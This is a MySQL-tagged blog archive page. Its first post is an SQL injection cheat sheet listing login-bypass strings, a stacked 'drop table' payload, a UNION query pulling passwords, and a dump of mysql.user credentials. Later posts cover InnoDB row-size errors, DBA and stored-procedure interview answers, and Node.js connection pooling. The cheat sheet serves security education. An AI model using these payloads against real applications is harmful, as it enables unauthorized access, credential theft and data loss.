Showing posts with label MYSQL. Show all posts
Showing posts with label MYSQL. Show all posts

Saturday 17 April 2021

MySQL - SQL Injection Cheat Sheet

 

MySQL - SQL Injection Cheat Sheet


Question: What is an SQL Injection Cheat Sheet?
An SQL injection cheat sheet is a resource in which you can find
detailed technical information about the many different variants of the SQL Injection vulnerability.


Question: Give few example SQL Injection Cheat Sheet?
#1 - Add comment in between Query which leads to comments out rest of the query.
Normal Query
SELECT * FROM members WHERE email = 'adminuser' AND password = 'password'; 

tempered Query
SELECT * FROM members WHERE email = 'adminuser'-- AND password = 'password'; 

(In this query will check for username only)


#2 Add comment between some part of query
SELECT id,/* comment here*/ email FROM members WHERE 1 


#3 SQL Injection Attack deleting table
SELECT id email FROM members WHERE email="arun@example.com" ; drop table users


#4 Union Injections - try to get another table data
SELECT id email FROM members WHERE email="arun@example.com" union select email,password from members


#5 Bypassing Login Screens - Un-Authentication login with modify in sql through injection
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--


#6 Get All mysql users with password
SELECT User,Password FROM mysql.user;


#7 Get MySQL version
SELECT @@version


#8 Get all MySQL tables
SELECT * FROM information_schema.tables

#9 Sleep Query
SELECT 10,sleep(100)

Thursday 18 June 2020

Get Mysql Row size too large error when change engine from MyISAM to Innodb

Get Mysql Row size too large error when change engine from MyISAM to Innodb
ALTER TABLE table_name ENGINE=InnoDB

When i try to change the engine From MyISAM to InnoDB, getting following error.

row size too large (> 8126). changing some columns to text or blob or using row_format=dynamic or row_format=compressed may help.

Solutions:
  1. Add the following to the my.cnf file under [mysqld] section.
            innodb_file_per_table=1;
            innodb_file_format = Barracuda;
            innodb_log_file_size = 256M    
    
         
  2. ALTER TABLE table_name ENGINE=InnoDB ROW_FORMAT=COMPRESSED KEY_BLOCK_SIZE=8;




Sunday 7 June 2020

MySQL database Administrator interview question and Answer for 6 year experienced

MySQL database Administrator interview question and Answer for 6 year experienced

Question: How to reset AUTO_INCREMENT in MySQL?>
ALTER TABLE tablename AUTO_INCREMENT = 1

Question: How to concatenate multiple rows into one field?>
SELECT GROUP_CONCAT(id SEPARATOR ', ')   FROM users   WHERE city = 'india'  GROUP BY city;

(It will concatinate all the users)


Question: Which MySQL data type to use for storing boolean values?>
BIT

Question: What are best character-set for multi-language data?>
utf8mb4

Question: What is the difference between utf8mb4_unicode_ci and utf8mb4_general_ci?
utf8mb4_unicode_ci is based on the official Unicode rules for universal sorting and comparison, which sorts accurately in a wide range of languages.

utf8mb4_general_ciis a simplified set of sorting rules which aims to do as well as it can while taking many short-cuts designed to improve speed. It does not follow the Unicode rules and will result in undesirable sorting or comparison in some situations


Question: How do you set a default value for a MySQL Datetime column?>
Add the default CURRENT_TIMESTAMP
For example:
CREATE TABLE foo (
    `modification_time` DATETIME ON UPDATE CURRENT_TIMESTAMP
)



Question: What is the difference between physical and logical backup?>
physical backup is to copy for backing up all the physical files that belongs to database.(like data files,control files,log files, executables etc), we need to stop the mysql service temporary.>
In logical backup, you don't take the copies of any physical things,you only extract the data from the data files into dump files.(ex : using export )


Question: What are World's most popular Databases?>
  1. Oracle
  2. MySQL
  3. Microsoft SQL Server
  4. PostgreSQL
  5. MongoDB



Question: Explain ACID?
Atomicity. All completed OR Nothing.
Consistency. Database protected from actions that may corrupt data.
Isolation. multiple actions occuring in parallel will not impact each other.
Durability. All commited statements data are safe.


Question: What does FLUSH TABLES WITH READ LOCK do?
1 set the global read lock - after this step, insert/update/delete/replace/alter statements cannot run.
2 close open tables - this step will block until all statements started previously have stopped.
3 set a flag to block commits.
FLUSH TABLES


Monday 1 June 2020

MySQL Stored procedure interview Questions and Answer

MySQL Stored procedure interview Questions and Answer

Question: What is stored procedure?
A stored procedure is Structured Query Language (SQL) statements which has a name, a parameter list, and SQL statement(s) stored in MySQL Server.



Question: Give example of stored procedure?
DELIMITER $$
CREATE PROCEDURE getUsersAscending()
BEGIN
	SELECT 
		first_name, 
		last_name, 
		email
	FROM
		users
	ORDER BY first_name;    
END$$
DELIMITER ;




Question: Give example of stored procedure with parameter details?
DELIMITER $$
CREATE   PROCEDURE `getUsersDetails`(IdSearch INT)    
    BEGIN
	SELECT 
		first_name, 
		last_name, 
		email
	FROM
		users
	WHERE id=IdSearch;      

    END$$
DELIMITER ;



Question: To show all stored procedures:
SHOW PROCEDURE STATUS;



Question: How to show stored procedures in a specific database
SHOW PROCEDURE STATUS WHERE Db = 'db_name';



Question: MySQL stored procedures advantages?
  1. Reduce network traffic
  2. Make database more secure



Question: MySQL stored procedures dis-advantages?
  1. Resource usages: If you use many stored procedures, the memory usage of every connection will increase substantially.
  2. Troubleshooting:MySQL does not provide any facilities to debug stored procedures like other enterprise database products such as Oracle and SQL Server
  3. Maintenances Developing and maintaining stored procedures often requires a specialized skill set that not all application developers possess.



Question: How to call stored procedure with OR without arguments?
Call without argument
call getUsersAscending();
Call With argument
call getUsersDetails(10);



Question: How to delete the procedure?
DROP PROCEDURE IF EXISTS getUsersAscending;



Question: What if i am trying to delete the stored procedure for non-exist.?
It will give warning only, if you have used "IF EXISTS"
It will give Error, if you have used not used "IF EXISTS"


Question: How to Alter a stored procedure in mysql?
1: Delete the Stored procedure. 
2: Re-Create the Stored procedure.



Wednesday 8 April 2020

Difference between mysql.createConnection and mysql.createPool in Node.js?

Difference between mysql.createConnection and mysql.createPool in Node.js?

mysql.createConnection

When you create a connection with mysql.createConnection, you only have one connection and it lasts until you close it OR connection closed by MySQL.

A single connection is blocking. While executing one query, it cannot execute others. hence, your application will not perform good.
Example:
var mysql = require('mysql');
var connection = mysql.createConnection({
  host     : 'localhost',
  user     : 'root',
  password : '',
  database : 'mydb',
});


mysql.createPool

mysql.createPool is a place where connections get stored.
When you request a connection from a pool,you will receive a connection that is not currently being used, or a new connection.
If you're already at the connection limit, it will wait until a connection is available before it continues.

A pool while one connection is busy running a query, others can be used to execute subsequent queries. Hence, your application will perform good.
Example:
var mysql = require('mysql');
var pool  = mysql.createPool({
  connectionLimit : 10,
  host     : 'localhost',
  user     : 'root',
  password : '',
  database : 'mydb',
});